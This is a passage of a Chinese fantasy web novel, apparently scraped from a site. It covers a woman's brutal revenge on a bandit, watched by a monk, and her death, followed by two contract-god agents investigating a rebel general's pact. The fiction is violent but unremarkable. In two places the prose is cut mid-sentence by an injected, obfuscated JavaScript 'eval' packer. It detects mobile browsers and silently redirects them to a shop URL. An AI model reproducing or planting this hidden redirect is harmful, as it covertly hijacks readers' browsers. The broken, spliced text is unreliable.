“不是寻常的粉红,是那种朱砂红。听说江南就有这样的荷花盛开,下雨时雨水从花瓣里流出来,如同血水,娇艳欲滴。” 吴青有声有色地描述着,清然却皱了下眉头:“还有这样的荷花?” “我也只是听说,未曾见过。” 清然盯着她那双充满星光的眼眸,也在脑海里想象着红色荷花的模样。 忽然,远处的墙边冒出一个人头,清然心中一紧,却随即发现自己的手被吴青拉住,原来吴青也注意到了那人。 “嘘,有人来了。”吴青低声道。 两人在黑暗中观察着那人的一举一动,星光之下能看出那人的身形十分瘦削。他双手撑在墙上轻盈翻过,却在落地时脚崴了一下,整个人倒在地上。 “哎呦!哪儿来的破石头?”那人吃痛坐在地上忍不住破口大骂。 来人声音一出,清然顿时发觉吴青的手隐隐发力,将他的手攥得更紧了。她的身子开始颤抖,呼吸也越来越沉重。 突然吴青将手一松,整个人径直站起身,朝地上那个人影道:“方仙儿!终于让我抓到你了!” 那人影听到吴青的喊声,整个人似雷击一般迅速站起身,不顾脚上的崴伤往围墙爬去。 清然忽觉身边一阵风吹过,只见身旁的吴青消失得无影无踪,围墙边却多了个人影。 吴青瞬闪到那人身边,一只手掐住他的喉咙将他抵在墙上。 只听得轰隆一声,本就饱经风霜的围墙轰然倒塌。那人随围墙倒地,无数碎石砸向他的脸,脖颈处的那双手却死死地掐住,任碎石倾落也未有丝毫松动。 “别杀我!别杀我……咳咳咳……”他一张口,便有大量黄土掉入嘴中。 清然连忙走过去将吴青扶起,吴青一边起身一边提住那人的脖子将他从地上拽起来。 “和尚?” 清然见从泥土中升起一张瘦削的脸,他还未辨清那人的长相,那人就已眯着眼睛打量着自己。 “和尚救我!这疯女人要杀了我!” “你就是方仙儿?” 那人听到清然的话却不摇头也不点头,只颤抖着身子呆愣愣地望着。 “你不回答,那就是了。她要杀你,贫僧救不了你。” 方仙儿张口还想说什么,却被吴青掐紧了脖子。 “方仙儿!你可还记得我?”吴青一双怒眼瞪着他。 方仙儿笑着看向吴青:“你?穿过的鞋我怎会不记得……” 话音未落,吴青提住他的脖子用力地将他扔向另一处围墙。随即围墙倒塌,方仙儿顿时被掉落的黄土埋住。 “要不是我心慈手软,你早就死在乱葬岗了!”方仙儿边咳嗽便费力地从黄土中坐起。 “果然卑鄙的人从不觉得自己卑鄙,总会有一套维护自己的说辞。”吴青一个瞬闪掐住方仙儿的脖子将他按住在地,“你杀了我全家,还将我扔在乱葬岗自生自灭,将你千刀万剐都死不足惜!” “别杀我!我藏了箱金银珠宝在这里,只要你饶了我,我就告诉你在哪儿。”方仙儿一改神色,连连求饶。 “金银珠宝?那些金银珠宝本来就不属于你,你凭什么拿那些来换命?” 方仙儿被她掐得生疼,见金银珠宝也不起作用,便斜眼朝身后的清然喊道:“和尚!她要杀我你怎能见死不救?你的佛经都白念了么?你个臭和尚……” 话还未说完,方仙儿突然觉得头上被重重地敲了一下,脑里顿时昏昏沉沉。他最后瞥见那和尚朝他走了几步叹了一口气,随即感觉天旋地转,晕死过去…… 一阵风吹来,方仙儿缓缓睁开眼睛,却见天已大亮,刺眼的阳光令他久久不能适应。他只是稍动一下,便觉得脑袋酸痛,浑身无力。 朝正前方望去,不远处竟是悬崖,方仙儿忙抬脚起身,却发现自己被麻绳绑得严严实实。 “别白费力气了。”一旁传来吴青的声音。 方仙儿闻声望去,只见吴青坐在阴凉处烤着土豆,一旁坐着那位和尚。 吴青拿着纸笔朝方仙儿走来扔在他的面前,并蹲下身抽出靴里的匕首在他眼前比划。 “现在你有两条路可以选,要么将你做过的坏事都写在这张纸上,一件都不能漏,我就能让你死得痛快点,要么我一刀一刀地将你身上的肉都割下来,让你活着比死了还难受。” “你这两条路不都是死路么?有什么区别?” “难道你害死了那么多人,还觉得自己有活下来的资格么?”吴青将匕首抵在他的脖子上,“写不写?不写我就将你千刀万剐!” 方仙儿吓得忙躲开匕首,他朝一旁的清然扫了一眼,却见他闭着眼睛旁若无人地念经。 “我写我写……”方仙儿捡起纸笔,却因为被绑住了手脚施展不开,他一脸苦色地望着吴青道:“能否帮我解开腿上的绳子,我好坐在地上写?” 吴青不耐烦地看了他一眼,随即一刀割断他脚上的绳子。 “你可要好好写,漏了一条我就剐下你一块肉,漏了两条就剐下两块!” “小的知道。”方仙儿将头点得似拨浪鼓,随即低下头落下几滴泪水。待吴青离远后,他一边低声呜咽一边在纸上书写自己的罪状。 他这一写便从正午时分写到了日落时分,吴青看着天边的红日终失去耐心,她径直走到方仙儿面前抢走他手中的纸笔。 “你也知道自己坏事做尽、罄竹难书!别以为我不知道你在拖延时间!” 吴青将他写的罪状一一查看,这时清然也站起身走了过来。 “年少就偷鸡摸狗、欺男霸女,之后就跟着流寇蛇鼠一窝,到处奸掳烧杀……”吴青看到罪状的末尾,忽地沉默片刻,随即怒声道:“你们竟敢去劫皇纲!谁指使你们的?” 清然从吴青手里接过方仙儿的罪状,也细细查看起来。 “是……是刘承贤指使的峏山老大,让他带人去抢皇纲,我不过是恰巧混进去,蹭个油水罢了。” “刘承贤是谁?”清然朝方仙儿问道。 “刘承贤是皇上身边的人……” “他既是皇上身边的人,又怎会派人去抢皇纲?”吴青打断方仙儿道。 “这我们怎么知道?那个刘承贤也不是个好人,他骗我们说镖局里有内应,可当我们与他们交起手来,却发现那些镖师个个武功了得,根本就没有内应。我们杀着杀着还突然冲出一伙骑马的人,原以为是接应我们的,没想到那群人见人就杀,不仅杀镖局的人,还杀我们的人。峏山老大也折进去了,我看情况不妙就偷偷跑了。” “所以我去峏山找你们时,你们不在峏山,而是去抢皇纲了?”吴青道。 “应该是的。”方仙儿答道。 “好,你将这纸罪状签字画押。”吴青将清然手里的罪状递给方仙儿。 方仙儿接过罪状,乖乖签字画押,随后递还给吴青。 “我已将所有罪状写清,求求你们留我一条生路罢!我愿用一生忏悔,去赎清我的罪孽!”说完方仙儿跪倒在地上。 吴青将罪状交给清然,又把方仙儿从地上拉起:“你要跪的人可不止我一个,你的罪孽一生都赎不清。既然你已经写好了罪状,我就将你的肉割下来,放在那些被你背叛杀害的人坟前,告慰他们在天之灵!多少条罪行,我就割多少块肉!” “你怎么能出尔反尔呢!?”方仙儿顿时面露惧色,声音也变得嘶哑,“和尚!你也听见了,她说我写了罪状就不会割我的肉!” 吴青不由分说地抓住他的手臂,用匕首划出一道血口,方仙儿立即痛得歇斯底里。 “对付你这种卑鄙的人就要用卑鄙的手段!”说完吴青又划出一道血口,一块血淋淋的肉掉在地上。 “你这个和尚!你就眼睁睁地看她剐我的肉么?我看你死了要如何去见你的佛祖!” 清然背过身去,闭上眼睛开始诵经。 随后又一声凄厉的喊叫传来。 “和尚!你的菩萨心肠呢?你怎么能见死不救呢?” 吴青全然不顾方仙儿的喊叫,在他的手臂上划了一道又一道口子,立时血流满地。割完一个手臂,吴青又抓住方仙儿的另一只手臂。 就在吴青准备挥刀而下的那一刻,一只手抓住了她的手腕。吴青抬眼望去,一张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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胸口传来阵阵剧痛,清然倒在树下咳嗽不止。 吴青回过神来,连忙跑到清然身边将他扶起。 “对不起清然……我不是有意的……” 清然抬头望向吴青,她的脸上布满泪水,一副受到惊吓,手足无措的模样。 “我会法术,我能治好你。”说完吴青抬手欲施法,却被清然拦住。 “我没事,我不想你的手变成骨头。吴青,方仙儿已经死了,你忘记这一切罢。” “……不……我忘不了!”吴青怒吼道,“……我一闭上眼睛就是爹娘死去时的脸,还有他们的哭声。我这一生都被方仙儿毁了,我永远也回不去了!只要活一天,我就痛苦一天。我想过忘记,可是过去的一切就像根刺扎在我的心里,怎么也拔不出来,它总是隐隐作痛,让我永远也忘不了……” 她站在风中放声大哭,悬崖上的狂风将她的哭声淹没,只能看到她的脸上堆满了无尽的痛苦。 “……这一切都是方仙儿的错……”吴青擦去脸上的泪水,忽然面露凶光。 只见她转身朝地上的方仙儿走去,施法将方仙儿高高抬起,随即重重地向悬崖底下扔去。 “吴青,你在做什么?” 没过多久,悬崖边升起一堆残躯,清然隐约辨出方仙儿的衣裳,只不过已是血肉模糊。 那堆残躯刚刚升起,又被吴青扔下悬崖。 “我要让方仙儿尝尝粉身碎骨的滋味,我要让他痛不欲生……” 清然忍痛起身走到吴青身边,发现她的手已经变成了黑雾萦绕的白骨。 “吴青,你不要再施法了!” 清然奋力将她拽倒在地,心痛地捧住她的脸:“我求求你不要再施法了……方仙儿已经死了,他感受不到任何痛苦,现在痛苦的人是你,再这样下去你会变成一具白骨的!” “我不甘心……我不甘心!”吴青痛苦的表情扭作一团,停滞片刻后,她的脸上又浮现出诡异的笑容。 “他们说你福大命大……可你不还是死在我的手里……”说完吴青仰天狂笑,她的笑声逐渐癫狂,不禁令人胆战心惊。 “方仙儿呀方仙儿,你躲躲藏藏,苟且偷生一辈子,没想到会死在一块石头上罢?” 说着吴青神色顿变:“……不行!你怎么能就这么轻易地死去?我不甘心……” 吴青视清然于无物,自顾自地痴言痴语,双手乱挥,不知在抓着什么。 清然见她这副走火入魔的模样,顿时心如刀绞,泪水无声地滑过脸颊。 “吴青……你清醒一点,我求求你……” 23. 第 23 章 日落时分,残阳如血。 落霞的余晖洒在清然的脸上,原本白皙的脸被照得发红。几行泪水滑过他的脸颊,滴在吴青的手心。 “吴青……你看看我,你还记得我么?我是清然……”清然的嗓音哽咽,带着颤抖的哭腔。 “清然……”吴青双目无神,满脸的倦意,“你是清然么?” “我是……” “清然,我好痛苦……我的头里好像有一团火……我好痛苦……” 说完吴青的头颅瞬间变成骷髅,接着又恢复原样,来回地转变。 “吴青,你这是怎么了?”清然焦急地盯着她的脸。 吴青不断敲打着自己的头颅,一脸痛苦。她挣脱清然的手,捂住头在地上痛得滚来滚去。 “……清然!我好痛苦,你杀了我罢!”吴青忍痛抽出匕首,将它扔给清然,“我再也受不了这世间的折磨!每时每刻都像是在火中炙烤……” “我不能杀你……”清然盯着地上的匕首声泪俱下。 这时,不远处忽然传来声响,一道金光闪过,从中走出两个人来。 “这是怎么回事?”周厉看见吴青躺在地上,一副痛不欲生的模样。 “你们是谁?”清然朝他二人道。 “我们是契约神的人,前来管理契约。”江远倾回道。 “契约神……吴青就是与你们签订的契约?” “她与契约神签订的契约,我们只是负责管理。” “那请问你们能否帮助她,她看起来像是走火入魔了。”清然一脸忧伤地将吴青扶起。 “江公子,你可有在典籍里看过这种情况?”周厉连忙问道。 江远倾摇了摇头:“未曾见过,契约神只是将法力赐予吴青,吴青自己走火入魔,我们也爱莫能助……” “你这话是什么意思?难道我们要看着她这样痛苦地死去么?”周厉的胸腔顿时升起一股无明业火。 “周厉,你别忘了与契约神签订的契约,除契约外,我们不可干涉凡人的生死。” “可是她是因契约神的法力走火入魔,也不干涉么?” 江远倾低下头,眼神立即变得灰暗:“契约神的法力没有问题,是她自己陷入癫狂,失去了控制……” 周厉一脸不可置信地盯着江远倾,耳边不时传来吴青痛苦的哀嚎。 “好,既然你救不了她,那我只能杀了她。”说完周厉抽出雁翎刀,一个箭步冲到吴青面前。 “得罪了!” 刀光下落,却停滞在半空,一股莫名的力量控制了周厉的刀。随即那刀从周厉的手中飞出,作一道弧线插在地上。 “你疯了么!?”江远倾瞬闪到周厉面前,将他重重推开,“你杀了她就是违约,你也会死!” “我原以为你是个温良和善的人,没想到你骨子里这么冷血!”周厉一脸忿忿地坐在地上。 “我不过是按照规矩行事。”江远倾落寞地注视着吴青,她的眼神混沌无比。 忽然,吴青定了定神,眼睛看向不远处的某个物件。 江远倾顺着方向望去,正是周厉插在土里的雁翎刀。 “不要!”江远倾立即大喊,却为时已晚。 雁翎刀被一股力量拔起,旋即朝吴青飞去。 清然坐在一旁,只见一柄刀从天而降刺进吴青的胸膛,鲜血溅到了他的脸上,带着一丝温热。 “吴青!”清然连忙将她抱在怀里,她身上的血液不断涌出,浸湿土壤。 他捧着吴青的脸,见她嘴角冒出鲜血,悲痛顿时如潮水般汹涌袭来。 “求求你们快救救她……”清然朝江远倾哀求道。 “清然。”吴青支撑起手臂抚摸他的脸,泪水从他的眼角滑到她的手指,“他们救不了我的,没有人能救我,是我自己厌弃这世间……” “……你说得对,我一直深陷淤泥却不自知……不过幸好遇到了你。”吴青的泪眼中露出一丝笑意。 清然默默擦去泪水,试图看清吴青的脸。 吴青盯住他的眼眸:“你这双眼睛初见时我便很喜欢,只是我不愿承认罢了……” “清然,你说世上还会有人记得我么?”吴青用手指轻轻地拨弄着他的睫毛。 “会……我会记住你……” 周厉听着他们的对话,忍不住别过身去,正好瞥见江远倾似一根木头,一动不动地杵在原地。他低头看着吴青流在地上的血,不知在想着什么。 “先前那些恶人你都为他们超度,我死之后你会为我超度么?”吴青的声音逐渐微弱。 “我会为你超度,我答应你……”清然泣不成声道。 “那就好……”吴青的嘴角轻轻勾起笑意,眼神里的光芒逐渐黯淡,直至无力地闭上眼睛…… 一轮皎洁的明月悬于夜空,云层被风吹散,露出清冷的月光。四周星光稀疏,将那轮明月衬得十分孤寂和荒凉。 悬崖上传来呼啸的风声,狂风拂过峭壁,在冰冷的岩石上漫无目的地穿梭,撞到谷底后发出阵阵呜咽,像是远方的人在流泪哭泣。 “时候不早了,我们需要将她的魂魄收走。”江远倾声音低沉道。 “好……”清然缓缓地将吴青平置在地上,一脸惨然。 “周厉。”江远倾朝坐在地上的周厉喊道,这一喊声让周厉如梦初醒。 “你来收吴青的魂魄。” 周厉不得已起身,伸出手掌变出一个山青色圆形琉璃瓶,随即走到吴青身边。 “契约已成,此魂收回,得罪了。”他一手托瓶,一手按在吴青的头上。没过多久,一团金色的云雾从吴青身上脱离,被周厉引入瓶内。 “这就是她的魂魄么?”清然问道。 “没错。”周厉将瓶子盖好,放在掌心,嘴里念了个咒语,瓶子便消失无踪。 那团金雾被抽出后,吴青的躯体逐渐变成一堆粉末,随风飘散。清然凝视着风中的粉末,怔了许久。 江远倾捡起雁翎刀递给周厉,又走上前扶起清然。 “在下姓江,名远倾,不知清然师父日后有什么打算?” 清然愣了愣,声音嘶哑道:“……贫僧刚刚出庙游历,遇见吴青后才感知世人的疾苦。天亮后……贫僧打算先去江南,之后再做一名游僧,度化众生。” “此路艰辛,若师父日后遇到麻烦,可去风灵城的江氏镖局寻求帮助。” “江氏镖局?”清然的语气有些诧异。 “正是,师父听过江氏镖局的名号么?” 清然想起了什么,从怀中抽出方仙儿写的罪状:“江氏镖局的镖头可叫江风山?” “在下乃江风山之子。”江远倾忙答道。 “我这里有一纸罪状,乃是江风山押送皇纲时遇到的贼寇所书。”说完清然将罪状递给江远倾,周厉听闻也凑近查看。 “这名贼寇名为方仙儿,也是吴青的仇人。他随峏山的土匪前去劫镖,与令尊的押镖队伍交过手……” “那些土匪可还在峏山?”周厉抢先问道。 江远倾瞥了他一眼,随即也看向清然。 “这……峏山的土匪都被吴青剿灭了。” 江远倾复看回周厉,将他失望的神色尽收眼底。 “方仙儿还说他们是受刘承贤指使,与镖局的人交手时还来了一群骑马的人。” “刘承贤竟敢买凶劫皇纲!?”周厉一脸震惊。 江远倾的神情却未有变化,他继续朝清然问道:“那群骑马的人是谁?” “据方仙儿所说,那群骑马的人并非是来接应他们的,那些人武艺高超,见人就杀。方仙儿也只说了这些,其余的贫僧就不知了。” “多谢师父告知。”江远倾躬身致谢。 “不用谢贫僧,要谢就谢吴青罢。”清然望向地上吴青留下的匕首,“是她抓的方仙儿,这纸罪状于你们而言更有用,就交于你们了。” 说着清然拾起吴青的匕首,坐在地上,拿出念珠。 “我答应过她,要为她超度……”清然深吸一口气,面朝悬崖在月下诵经。 江远倾和周厉见状,不忍打扰,只得悄悄返回飞红山。 一进飞红山,空中传来契约神沧桑的声音。 “江远倾,周厉,吴青的契约你们处理得很好,本神已收到她的魂魄。” “此乃我等分内之事。”江远倾朝契约神行礼。 周厉瞥见他恭维的模样,顿时心生鄙夷,只稍稍躬身做了个样子。 “只是我等在管理契约时,发现这份契约似乎有些漏洞。” “哦?” “这份血契只写明了双方所需,却未提及违反契约的惩罚,并且吴青后 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江远倾侧目注视着周厉道:“你怎对这事如此关心?” “令尊也算是我的恩人,我当然关心。”周厉直视他的眼神回道。 “家父走镖多年,虽然结识了不少好友,但也惹上了不少仇家。不过如此有组织且武艺高超还敢劫皇纲的,我一时也想不出是谁。” “目前我们只知那群贼寇是刘承贤雇佣的,何不将方仙儿的罪状交出去?” “不。”江远倾摇了摇头,“峏山的土匪都已经死了,方仙儿也只是一个无名小卒,这份罪状交出去也无用。” 听了这话周厉不由得叹了口气:“明明知道是谁从中作梗,却惩治不了他,真是让人憋屈!” 江远倾默默地将罪状收好,朝周厉道:“你今日所为实属鲁莽,往后不可如此。” “不是谁都像你一样,将规矩放在第一位。”周厉哼了一声,转身朝自己的住处行去。 “不过……还是谢了。” 江远倾抬头望向阶梯上周厉的背影,暗暗叹了口气。 第二日清晨,朝阳升起,第一缕阳光穿过云层,投射在宝竹寺门前长长的阶梯上。 一位小沙弥打开寺门,开始清扫石阶。 他刚要抬脚下石阶,便注意到了山下上来一个和尚。那和尚背着包袱,穿着僧衣,正好抬头望了他一眼。 “清然!”小沙弥将手中的扫帚靠在墙上,又惊又喜地迎上去。 “清然你回来了!”小沙弥将清然打量了一番,只见他眉目之间沧桑了许多。 清然朝他淡淡地笑着,一副欲言又止的模样。 “快!我带你去见方丈,方丈今日还念着你呢!”说完小沙弥拉住清然的胳膊穿过庙门,朝里行去。 “方丈!您看谁回来了?” 清然跟着小沙弥来到院里,方丈正站在院中的一棵银杏树下。 “方丈近来可好?”清然朝方丈躬身行礼。 “与往常一样,来,快坐下。” 清然背着包袱随方丈坐在石凳上。 “怎么回来得如此之快?”方丈一面端详清然的神色,一面问道。 “实不相瞒,清然这次不是回来,而是要走了。” “什么?清然师兄,你要去哪儿?”小沙弥急忙问道。 “先去江南,之后便听天意了。” “可还回来?”方丈淡然道。 “清然想做一名行僧外出修行,度化众生,或许不会再回来了,此行是来与您辞别的,还望方丈准允。” 这话一出,一旁的小沙弥顿时哭出声来。 方丈沉思片刻缓缓道:“去罢。” “多谢方丈。”清然站起身,朝方丈跪下拜了三拜,“方丈您多保重,清然毕生谨记您的教导。” 拜完方丈,清然站起身轻轻拍了拍小沙弥的肩膀:“莫要伤怀,云聚便有云散时,只要白日升起,清风不息,便处处是相逢之地。” 说完清然转身独自朝庙门外走去。 “方丈,您不拦着清然师兄么?”小沙弥焦急地问道。 “他的包袱都没放下,人又怎会留下?” 方丈长叹一声,起身朝大雄宝殿走去…… 24. 第 24 章 日落时分,残阳如逝。天边的乌云层层叠叠,将夕阳切割成几块残缺的碎片,云层立即沾染了血色,将天际印得通红。 凛冽的秋风拂过破碎的城墙,一支被血染红的旗帜挂在高高的城墙边摇摇欲坠。城墙上横七竖八地躺着无数士兵的躯体,从城墙的东边一直延伸到西边。 城门大开,门上有个巨大的窟窿。落日余晖从窟窿里穿过去,照亮了城墙内街道上数不胜数的尸体。 城内的房屋只剩下断垣残壁,空气中弥漫着刺鼻的硝烟味和连硝烟也遮盖不住的血腥味。 地上满是炮火击打的痕迹和散落的箭矢,一些士兵走在尸体上埋头捡拾着战利品,并将那些穿着与自己不同戎衣的尸体和未穿戎衣的尸体一并拉到火堆焚烧。 一个看起来只刚刚长出胡须的士兵踢了一脚地上的躯体,见那躯体毫无反应,便叫身后的士兵拉走。他跨过地上的躯体,拣出完好的箭矢夹在腋下。他的另一只手臂夹着数十支箭矢,这些箭矢的箭头还粘着血肉,不时有血液滴落。 他弯腰去捡被尸体压住的箭矢,不料背上箭囊里的箭却一股脑儿地滑落到地上。他将手上所有的箭矢摞成一捆放在一块空地上,随后回到原来的位置蹲下捡拾掉落的箭。 那些箭都散落在死人堆里,有的还掉进了死人缝隙里。 他将手伸进缝隙里够箭,好不容易够着了却怎么也拔不出来。 他一手抓住箭矢,一手将压住箭矢的死人拨开。 推开一个死人,死人下面还躺着一个死人。那人睁着眼睛,手里死死地拽着那支箭矢。 士兵被那双眼睛吓得惊叫一声,他回头环顾四周,身后的士兵已经将先前的尸体拖去焚烧,还未回来。 他稳住心神,凑近端详那个睁着眼睛的死人,见他并无异常便双手抓住箭矢,一只脚踩在他身上借力拔箭。拔了几下也拔不出,士兵疑惑地盯着那个死人,这回他看到那死人的眼珠分明在动。 还未回过神,那“死人”突然坐起来,迅速抓住士兵的手狠狠地咬住。 士兵疼得发出凄惨的叫声,他随手拿起一支箭矢,疯狂地朝他身上扎去。可他拼命地扎了好几下,那人仍不松口。 远处传来马匹的嘶鸣,马蹄声越来越近。 一支长枪从天而降,扎进了那人的胸膛,那人瞬间断气。 士兵忙甩开他的头颅,将他踢得远远的。抬头看时,只见骑马的人身着铁甲,肩系披风,脸上散发着威严的气势。 “宁王殿下!多谢宁王殿下救命之恩!”士兵跪在地上朝马上之人拜了三拜。 宁王翻身下马,拔出那人身上的长枪,并朝士兵道:“杀人要杀绝,切不可留有喘息之机。” “将军的话小的定当铭记在心!” “嗯。” 一阵风吹过,空气中散发着烧焦的味道,风声里传来似有似无的婴儿啼哭声。 宁王循声来到一间破旧的屋子前,士兵跟上前去,率先踹开门,只见屋里有一襁褓婴儿躺在草丛之中。 “殿下,容属下去杀了他,以绝后患!”说完士兵抽出一支箭矢欲往屋里行去。 “慢着。”宁王走上前将那婴儿抱起打量了一番,“还是个男婴。” “殿下,这男婴乃是敌人的后裔,留不得!” “他还只是个婴孩,他懂什么?”宁王将婴儿递给士兵,“把他带回府里养着。” “殿下,方才您还教导属下……”士兵瞥了眼宁王,却见他神色阴沉,一双阴鸷的眼睛令人不寒而栗。 “只要你不说出去,他的父母是谁还不是本将军说了算?” “小的……遵命。” 士兵望向怀中的婴儿,只见那婴儿的脖子上长了个不规则的胎记,色如朱砂…… 飞红山里,花瓣飘零,拂过的风中挟带着日光的热气,全没了春日里的轻柔。 江远倾坐在竹林下的石凳上看书,石桌上的茶水散发着淡淡的香气,沁人心脾。 远处传来急促的脚步声,周厉上气不接下气地朝江远倾跑来。 “江公子,借你这茶水喝喝……” 还未等江远倾回话,周厉便径直端起茶杯连同茶叶灌了进去。 “什么事这么慌慌张张的?”江远倾紧蹙眉头,眼睛却仍盯着手里的书。 “我今日出门去买烧饼,在街头听到个消息,你还记得宁王么?”周厉喝完茶水也坐在石凳上。 “我怎会不记得?家父遇害时押送的万寿节礼,正是宁王进献给圣上的。” 周厉凑近江远倾,一脸凝重道:“宁王死了。” “死了?什么时候的事?”江远倾放下书本,神色有些吃惊。 “不久之前的事,听说宁王府里发生兵变,带头的人叫孙怀野,是宁王养在府里的孤儿。不知孙怀野用了什么法子,竟联合身边的人在一个深夜趁宁王不备将其杀害。与此同时,孙怀野在城外竟有上万的兵马,当晚与孙怀野里应外合,攻占了宁王所在的骞城。” “岂有此理!”江远倾猛地站起身,“这个孙怀野好大的胆子!他是要造反么?” “你猜对了,他给自己封了个骁勇大将军的名号,对外宣称杀豪强,济百姓,听说已经占领了骞城外的不少村落。”说完周厉又喝了几口茶水。 “如此来势汹汹,莫不是已经悄悄谋划了数年,或者有能人相助?” “这我倒不知,我也好奇孙怀野哪儿来的银两去招兵买马,他不是宁王府里养的孤儿么?”周厉托腮沉思道。 “不知朝廷可有派人镇压……”江远倾缓缓叹了口气,一副愁眉不展的模样。 “那朝廷需要镇压的的地方可就多了,我听闻发生兵变的的可不止骞城这一处。”说完周厉从怀里拿出烧饼自顾自地吃了起来。 这时,屋檐传来铃声,江远倾和周厉立即对视一眼,随即口呼“瞬地”迅速来到天禄阁脚下。 “你可看了那本教飞行的书?”江远倾朝周厉问道。 “我……”周厉支支吾吾半天也未答话。 “算了。”江远倾轻点地面腾空而起,“你这样日后还如何做神仙?” “契约神许诺将来助我成为神仙,如何做神仙这事还是交给契约神好了。现在我不缺衣食,和做了神仙也没什么区别。” 江远倾听罢摇了摇头:“鸟贵有翼,人贵有志。周兄,你难道没有自己的志向么?” “志向是留给吃饱饭的人去想的。江公子,你从小不缺衣食,想必从未尝过饿肚子的滋味儿罢?”周厉啃了几口烧饼在嘴里嚼着,“像我们这种出身的人,每日的志向便是如何填饱肚子,哪里比得上江公子饱读诗书,有闲情逸致筹划自己的将来。” 江远倾听着他那充满酸气的话语不知如何反驳。 “是在下失言了,不过我在书房里看了几本有关天界仙职的典籍,天上的职位五花八门,不知周兄日后要选个什么职位?” “你说说看?”周厉停止了咀嚼,抬头朝天禄阁顶望去,此时江远倾正一层一层地搜寻,他的身影逐渐渺小。 “除了天界之尊的天帝,有专管凡间各类事项的神仙,比如姻缘神、火神、战神、谷神……” “谷神?这谷神可是掌管粮食的?当了谷神岂不是一辈子不会饿肚子了?”周厉急切地问道,却未听得江远倾应答。 “找到了!”江远倾手捧一纸泛着金光的契约飞了下来。 “你先回答我,谷神是不是掌管粮食的?”周厉继续追问。 江远倾无可奈何地看了他一眼:“是,但天界已经有了一位谷神,你还是趁早打消这个念头罢。” 周厉顿时泄了气,恶狠狠地咬了一口烧饼。 江远倾摊开契约仔细查看:“这份契约也是血契,不过上面有五个人的手印。” “五个人?”周厉闻言也凑了过来,看到其中一个手印下的名字,他惊讶地瞪大了眼睛,“这……这是孙怀野!?” “华义、董诚、申子文和申子武四人是立契人,愿以自己的魂魄为代价成为鬼人,为孙怀野效力。孙怀野需不忘己任,为黎民推翻不公,谋取福祉。契约神收取魂魄后赐四人神力,并监管双方,不得违约。”江远倾念道。 “我说那个孙怀野怎么有这么大的能耐,原来背后竟是契约神相助!不过这个鬼人是什么?” 江远倾思考了一番,神色逐渐变得严峻。 “你还记得吴青过度使用法力时的模样么?” “我记得,她身上的皮肉都变成了黑雾,只剩下一具白骨。”周厉连忙答道。 “我曾看过相关的典籍,鬼人便是一具黑雾萦绕的白骨,且被取走了魂魄,只留有一丝神识。虽然能与寻常凡人一样行走,但只是一副躯壳。” “孙怀野给了他四人什么好处?竟能舍弃自己的魂魄做到如此地步?” “这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14611571|156119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四人牺牲自我让孙怀野除去不公,却杀了宁王占领骞城,难道有什么隐情么?” 二人正在思考,忽听得天禄阁外传来契约神的声音,便连忙走出门外。 “江远倾,周厉。” 仍是只闻其声,不见其神。 “这份契约本神负责制作鬼人和监管双方,檐铃作响是因为鬼人出了差错,你二人前去瞧瞧,务必将鬼人修复好。” “是。”江远倾和周厉躬身领命,随即空中那声音不再响起。 “你会修复鬼人么?”周厉悄悄问江远倾。 “只是将典籍看了一遍。” “你与我不同,你看了一遍就能记住,修复鬼人的重任就交给你了。” 江远倾盯着他,眼神里流露出一丝嫌弃,周厉却当作没看见。 “那我们走罢,去找孙怀野。” “等等。”江远倾拦住周厉施法的手势,“孙怀野毕竟身处军营,军营里人多眼杂,我们贸然出现怕是会引起混乱。先去军营附近,寻他的手下引我们进去。” “好。” 说完二人齐施法,转瞬间便来到一处荒郊野外。 “这是哪里?”周厉环顾四周,目之所及尽是树木杂草。 “孙怀野占领骞城后又向周边的城邦扩张,想必此时可能驻扎在一个隐蔽之处,我们沿着这条路往前走,军营之外定会设下埋伏。” “埋伏?”周厉的眼中略有迟疑,脚步也停在原地。 “怕什么?我们有契约神的法力庇护。”江远倾道。 “这倒是。”周厉不由得松了口气。 两人沿路走了许久,也不见孙怀野的营帐。忽然,江远倾停住脚步,盯着不远处的一棵树露出了疑惑的神色。 “怎么了?”周厉也停住了脚步。 “那棵树有些古怪。” 周厉顺着江远倾的目光看去,是一棵高大的梧桐树。他迈着步子缓缓走近,将那棵树打量了一番。 “哪里古怪?”周厉皱着眉头转身朝江远倾问道,可江远倾只是站在原地,讳莫如深地摇了摇头。 看他那副奇怪的神情,周厉以为自己方才的检查有疏漏之处,便又走近了几步。就在他刚刚抬头望向树冠时,左脚忽然被什么东西勒住,那东西细长有力,拉着他的脚迅速往树冠上飞去。 周厉整个身子被颠倒,顿时觉得天旋地转。原本正看着天,霎时便朝着地,整个人被倒挂在树上,脑里一阵充血。 “什么东西!?”周厉撑起脑袋朝左脚望去,原是一根绳索套住了自己。 他在一阵晕眩中努力辨清江远倾的方向,却见他从容不迫地站在原地。四周不知何时冒出几个拿着长枪的士兵,那些士兵丝毫不顾树上的周厉,将长枪都对准了江远倾。 “什么人?你们来此地做什么?”其中一个士兵恶声恶气地朝江远倾道。 “我们是来找孙将军的。” “你们可有令牌?” “没有。” 士兵听后笑了一声:“没有令牌还想见我们将军?谁知道你们是不是敌军派来的细作?” 江远倾不紧不慢道:“听闻你们军中有位虎贲之士出了差错。” 那士兵与周围的人对了下眼色,随即朝江远倾喝道:“胡说!谁派你们来的?不说我就立刻杀了你!” “杀了我们就没人能救得了他,带我们去见孙将军,孙将军见了我们自然会知晓。若到时治好了他,你们也是大功一件。” 几位士兵的脸上露出犹豫的神色,先前说话的士兵与另一位士兵背过身去,低语了几句,接着转过身道:“带你去见将军可以,但若治不好你们可就是死路一条!” 